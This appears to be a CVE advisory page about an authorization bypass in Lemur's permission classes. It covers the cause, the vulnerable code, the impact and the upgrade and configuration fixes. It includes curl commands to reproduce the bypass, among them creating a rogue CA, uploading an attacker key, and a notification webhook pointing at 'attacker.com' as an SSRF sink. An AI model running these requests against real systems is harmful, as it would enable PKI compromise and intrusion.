Lemur Authorization Bypass in StrictRolePermission / AuthorityCreatorPermission (CVE-2026-48508) (High) -DC-Jun2026-639

Listen to this Post

How the CVE Works

`StrictRolePermission` and `AuthorityCreatorPermission` in `lemur/auth/permissions.py` call `flask_principal.Permission.__init__()` with an empty set of `Need`s when their respective configuration flags are unset. Prior to the fix, both flags defaulted to False, meaning that on a default Lemur installation no role‑based restrictions were enforced by these permission classes.
Flask‑Principal’s `Permission.allows()` returns `True` whenever `self.needs` is empty – the first guard (if self.needs and not ...) is skipped, and since `excludes` is also empty, the method returns `True` for any authenticated identity. The parent class `AuthenticatedResource` only requires authentication (login_required), not authorisation, so the `.can()` check of these permissions is the sole gate on the affected endpoints.
As a result, a user holding the lowest‑privilege `read‑only` role can:
– Create root Certificate Authorities (POST /api/1/authorities).
– Upload arbitrary certificates (POST /api/1/certificates/upload).
– Create and modify notifications (POST /api/1/notifications, PUT/DEL /api/1/notifications/<id>) – an SSRF sink.
– Create domain entries (POST /api/1/domains).
The attack surface is broad: an attacker can pivot from any authenticated identity to full control of the PKI issuance plane, including planting malicious CA roots and pushing attacker‑supplied keys to cloud destinations.

DailyCVE Form

Platform: Lemur
Version: < 1.9.1
Vulnerability: Authorization Bypass
Severity: High
Date: 2026-06-25

Prediction: Patched in v1.9.1

What Undercode Say (Analytics)

Bash / cURL commands to reproduce the bypass (authenticated as a `read‑only` user):

Create a root Certificate Authority (bypasses AuthorityCreatorPermission)
curl -X POST https://lemur.example.com/api/1/authorities \
-H "Authorization: Bearer $READ_ONLY_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"rogue-ca","owner":"[email protected]"}'
Upload an arbitrary certificate with attacker‑controlled private key
curl -X POST https://lemur.example.com/api/1/certificates/upload \
-H "Authorization: Bearer $READ_ONLY_TOKEN" \
-F "[email protected]" \
-F "[email protected]"
Create a notification (SSRF sink)
curl -X POST https://lemur.example.com/api/1/notifications \
-H "Authorization: Bearer $READ_ONLY_TOKEN" \
-H "Content-Type: application/json" \
-d '{"type":"slack","webhook":"https://attacker.com/ssrf"}'
Create a sensitive domain
curl -X POST https://lemur.example.com/api/1/domains \
-H "Authorization: Bearer $READ_ONLY_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"internal.corp","sensitive":true}'

Code snippet showing the vulnerable `__init__` methods (before fix):

class AuthorityCreatorPermission(Permission):
def <strong>init</strong>(self):
requires_admin = current_app.config.get("ADMIN_ONLY_AUTHORITY_CREATION", False)
if requires_admin:
super().<strong>init</strong>(RoleNeed("admin"))
else:
super().<strong>init</strong>() empty Need set
class StrictRolePermission(Permission):
def <strong>init</strong>(self):
strict_role_enforcement = current_app.config.get("LEMUR_STRICT_ROLE_ENFORCEMENT", False)
if strict_role_enforcement:
needs = [RoleNeed("admin"), RoleNeed("operator")]
super().<strong>init</strong>(needs)
else:
super().<strong>init</strong>() empty Need set

Flask‑Principal’s `allows()` logic (upstream v0.4.0):

def allows(self, identity):
if self.needs and not self.needs.intersection(identity.provides):
return False
...
return True

Exploit

An attacker who possesses any valid authentication token (e.g., from a phished employee, leaked SSO token, or insider) can directly invoke the endpoints listed above. Because the permission checks evaluate to `True` for any identity, no elevation of privileges is required – the `read‑only` role is sufficient. The attacker can:
1. Implant a rogue CA – the CA certificate and private key are stored in Lemur’s database with the attacker as owner. Any internal trust store that relies on Lemur‑managed roots can now be abused to sign arbitrary certificates.
2. Inject malicious certificates – uploaded certificates can be pushed to AWS or other destinations, allowing the attacker to intercept or impersonate services.
3. Abuse notification webhooks – by creating or modifying Slack/other webhook notifications, the attacker can trigger SSRF attacks against internal networks.
4. Manipulate domain sensitivity – marking domains as `sensitive` alters Lemur’s issuance approval workflow, potentially causing denial‑of‑service or policy violations.
The combined impact is a complete compromise of the PKI plane from a low‑privilege starting point.

Protection

  • Upgrade to Lemur v1.9.1 or later. This release changes the default values of `ADMIN_ONLY_AUTHORITY_CREATION` and `LEMUR_STRICT_ROLE_ENFORCEMENT` from `False` to True, enforcing strict role checks on all new installations.
  • If you cannot upgrade immediately, explicitly set both configuration flags to `True` in your lemur.conf.py:
    ADMIN_ONLY_AUTHORITY_CREATION = True
    LEMUR_STRICT_ROLE_ENFORCEMENT = True
    
  • Do not set these flags to `False` – the opt‑out branches remain in the code and will reintroduce the bypass.
  • Audit existing installations for any `read‑only` users who may have already exploited this vulnerability; review the authorities, certificates, notifications, and domains created since the vulnerable version was deployed.

Impact

  • Confidentiality – attacker can read (via uploaded certificates) and potentially decrypt traffic if they control the CA.
  • Integrity – attacker can insert arbitrary certificates and CAs, undermining trust in the entire PKI.
  • Availability – by creating/editing notifications (SSRF) and manipulating domain sensitivity, the attacker can disrupt certificate issuance and internal services.
  • Privilege Escalation – from `read‑only` to effectively full administrative control over Lemur’s certificate management, without needing any higher‑privileged role.
    The vulnerability is classified as High severity because it requires only authentication (no special role) and gives the attacker broad, persistent control over the certificate lifecycle.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top